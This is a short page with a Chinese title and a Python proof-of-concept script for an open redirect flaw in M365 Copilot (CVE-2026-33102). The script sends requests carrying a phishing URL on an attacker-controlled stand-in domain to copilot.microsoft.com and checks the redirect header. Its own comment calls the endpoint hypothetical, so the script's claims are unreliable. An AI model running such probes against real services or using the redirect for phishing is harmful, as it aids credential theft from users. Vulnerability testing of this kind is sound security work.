CVE-2026-33102 M365 Copilot开放重定向漏洞

# Proof of Concept for CVE-2026-33102 # This script demonstrates the Open Redirect vulnerability in M365 Copilot. import requests def check_open_redirect(target_domain, payload_url): """ Tests if the target domain is vulnerable to open redirect. """ # Hypothetical vulnerable endpoint often found in web apps # e.g., https://copilot.microsoft.com/auth/signin?redirect_url={payload} vulnerable_endpoint = f"https://{target_domain}/redirect" # Malicious payload pointing to an attacker-controlled site # Encoding the URL to ensure it is passed as a parameter params = { 'next': payload_url, 'redirect': payload_url } try: print(f"[*] Testing: {vulnerable_endpoint}") # Sending the request without following redirects to catch the 302 location response = requests.get(vulnerable_endpoint, params=params, allow_redirects=False, timeout=10) # Check if the response is a redirect (302, 301, 307) if response.status_code in [301, 302, 307]: location = response.headers.get('Location') if location and payload_url in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Server redirected to: {location}") return True else: print(f"[-] Redirect occurred, but not to the malicious payload.") print(f"[-] Location: {location}") else: print(f"[-] No redirect detected. Status code: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": # Target and Payload configuration target = "copilot.microsoft.com" # Example target malicious_site = "https://attacker-controlled-domain.com/phishing" print(f"--- CVE-2026-33102 PoC ---") check_open_redirect(target, malicious_site)